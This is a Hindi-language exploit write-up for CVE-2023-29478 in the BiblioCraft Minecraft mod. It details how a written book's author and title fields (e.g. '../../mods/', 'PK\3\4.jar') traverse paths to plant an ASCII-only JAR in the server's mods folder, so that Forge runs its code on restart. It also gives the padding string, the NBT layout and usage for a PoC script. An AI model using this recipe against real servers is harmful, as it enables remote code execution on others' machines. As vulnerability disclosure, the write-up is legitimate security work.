
CVE-2023-29478 - BiblioCraft v2.4.6 से पहले के संस्करणों को प्रभावित करने वाला फ़ाइल हेरफेर/रिमोट कोड निष्पादन एक्सप्लॉइट
इस विधि के लिए केवल BiblioCraft की आवश्यकता है! कोड निष्पादन प्राप्त करने के लिए अधिक चालाकी की आवश्यकता नहीं है और किसी अन्य mod की आवश्यकता नहीं है!
CoreTweaks पर केंद्रित मूल लेख यहाँ पाया जा सकता है। मेरा सुझाव है कि आप इसे पहले पढ़ें क्योंकि हो सकता है मैं कुछ विवरण छोड़ दूँ जो नीचे महत्वपूर्ण होंगे।
कोड निष्पादन कई तरीकों से संभव है। यह BiblioCraft 1.7.10 v1.11.7 और BiblioCraft 1.12.2 v2.4.5 (पुष्टि) को प्रभावित करता है और संभवतः v2.4.6 से पहले के सभी BiblioCraft संस्करणों को (अपुष्ट, अपरीक्षित)।
पाथ ट्रैवर्सल बग को ठीक करने वाले मौजूदा पैच इस नए कोड निष्पादन पथ को फिर भी रोकेंगे।
इस बार हम Vanilla written book सहेजने पर ध्यान केंद्रित कर रहे हैं।
Written books को world/books/<author-name>, <book-title> में सहेजा जाता है।
इन पुस्तकों का प्रारूप, प्रति पंक्ति, यह है:
शुरुआत से आगे बढ़ते हुए, पुस्तक के पृष्ठ एक मार्कर #pgx<page-number> से शुरू होते हैं और अगली पंक्ति से अगले मार्कर तक उस पृष्ठ का हिस्सा होता है। BiblioCraft हमेशा पंक्तियों के अंत में एक नई पंक्ति (newline) जोड़ेगा, भले ही आगे कुछ न हो।
पहले की तरह, हम पुस्तक के NBT टैग के माध्यम से पुस्तक के शीर्षक और लेखक के नाम दोनों को नियंत्रित कर सकते हैं, साथ ही पाथ ट्रैवर्सल भी कर सकते हैं।
जिस स्थान पर हम लिखने जा रहे हैं वह mods/ फ़ोल्डर है। इस निर्देशिका में mods अक्सर JAR फ़ाइलों के रूप में संग्रहीत होते हैं। JAR फ़ाइलों की एक अच्छी विशेषता यह है कि वे वास्तव में भेष में केवल ZIP फ़ाइलें होती हैं।
तो, इससे हमें क्या मदद मिलती है?
ZIP फ़ाइलों में एक दिलचस्प गुण होता है जहाँ वे अपने साथ जोड़े/पूर्व-संलग्न किए गए कचरे (garbage) के बावजूद भी मान्य (valid) रह सकती हैं।
ZIP फ़ाइल के भीतर EOCD (End of central directory) रिकॉर्ड अंत में रखा जाता है।
इसमें (लगभग) एक मैजिक/सिग्नेचर 0x06054b50, साथ ही आर्काइव के भीतर सेंट्रल डायरेक्टरी रिकॉर्ड्स की संख्या, आकार और ऑफसेट शामिल हैं।
EOCD रिकॉर्ड में अंतिम फ़ील्ड एक length-prefixed टिप्पणी (comment) है, जो लगभग कोई भी बाइट अनुक्रम हो सकता है जो मैजिक नहीं है (अपरीक्षित)।
(मुझे लगता है कि ZIP फ़ाइल पार्सर अंत से शुरू करते हैं और आर्काइव को पार्स करने के लिए EOCD सिग्नेचर खोजते हैं, लेकिन मुझे पूरी तरह से यकीन नहीं है।)
यदि ZIP पार्सर को आर्काइव के भीतर फ़ाइलों को खोजने के लिए केवल EOCD रिकॉर्ड की आवश्यकता है, और यदि EOCD रिकॉर्ड के बाद कोई भी डेटा (सीमाओं के साथ) आ सकता है, तो हम एक मान्य ZIP बना सकते हैं, भले ही फ़ाइल के भीतर कुछ अन्य डेटा हो।
(https://github.com/c0ny1/ascii-jar को बहुत बड़ा श्रेय! मैंने इन टूल्स का बहुत उपयोग किया!)
सबसे पहले, हमें अपने payload को संरचित करने की आवश्यकता है। Forge कक्षाओं को mods के रूप में लोड करेगा यदि उनके पास विशेष एनोटेशन @Mod है, इसलिए हम यहाँ उसी का उपयोग करेंगे।
हमारा अनुमानित payload:
@Mod(modid = "payload-mod")
public class Payload {
// ...
static {
System.out.println("Hello World!");
}
// ...
}
एन्कोडिंग समस्याओं से बचने के लिए, हम केवल अपनी payload क्लास वाली ASCII-only JAR फ़ाइल बनाने के लिए एक स्क्रिप्ट का उपयोग करते हैं।
हम शुरुआत को PK\3\4.jar\n../../mods/\nprivate\n#pgx0\naaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA से पैड करते हैं।
हम पैडिंग में PK\3\4 (ZIP का लोकल फ़ाइल हेडर सिग्नेचर) क्यों जोड़ते हैं, इसका कारण Forge में एक अजीब विचित्रता है जिसे मैं बाहर पुन: उत्पन्न नहीं कर सका, जहाँ JAR फ़ाइलों की जाँच इस सिग्नेचर से शुरू होने के लिए की जाती है, हालाँकि यह ZIP की आवश्यकता नहीं है? शायद यह Forge में एक बग है।
हम 'A' और 'a' की लंबी स्ट्रिंग का उपयोग यह सुनिश्चित करने के लिए करते हैं कि ऑफसेट 255 से अधिक है, यह सुनिश्चित करते हुए कि ऑफसेट को एन्कोड करने वाले 2-बाइट पूर्णांक में ASCII रेंज के बाहर कोई बाइट नहीं है।
हम BiblioCraft द्वारा newlines जोड़ने की समस्याओं से बचने के लिए अंत को \n से पैड करते हैं।
अपने नए पैडेड jar के साथ, हम शुरुआत में पैड किए गए डेटा के अंतिम newline के बाद के सभी बाइट्स लेते हैं और उससे एक नया String बनाते हैं (हम इसे <jar-data> कहेंगे) और NBT डेटा के साथ एक नई written book बनाते हैं:
TAG_Compound(''): 2 entries
{
TAG_String("author"): "../../mods/"
TAG_String("title"): "PK\3\4.jar"
TAG_List("pages"): 1 entry
{
TAG_String(None): "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" + <jar-data>
}
}
जब हम इस पुस्तक को BiblioCraft के माध्यम से डिस्क पर सहेजते हैं, तो सभी पैडिंग डेटा उसके प्रारूप द्वारा "पुनः उत्पन्न" हो जाएगा, जिससे हमारा JAR फिर से मान्य हो जाएगा।
और अब, अगली बार जब सर्वर रिबूट होगा (यहाँ तक कि सामान्य पुनरारंभ, या यदि आप क्रैश कराते हैं) हमारा mod JAR लोड हो जाएगा और हमारा कोड निष्पादित हो जाएगा।
BiblioPOC/tools/ में एक Python3 स्क्रिप्ट है जो एक मान्य payload बनाने में सहायता करती है।
तर्क (arguments) हैं:
python3 create_payload.py [java_file] [forge_jar_location] [class_name] [output_dir]
फिर, गेम में BiblioCraft atlas पकड़े हुए निष्पादित करें
/jarpoccommand [completed_jar_path] जहाँ [completed_jar_path] [output_dir]/completed.jar का पथ है।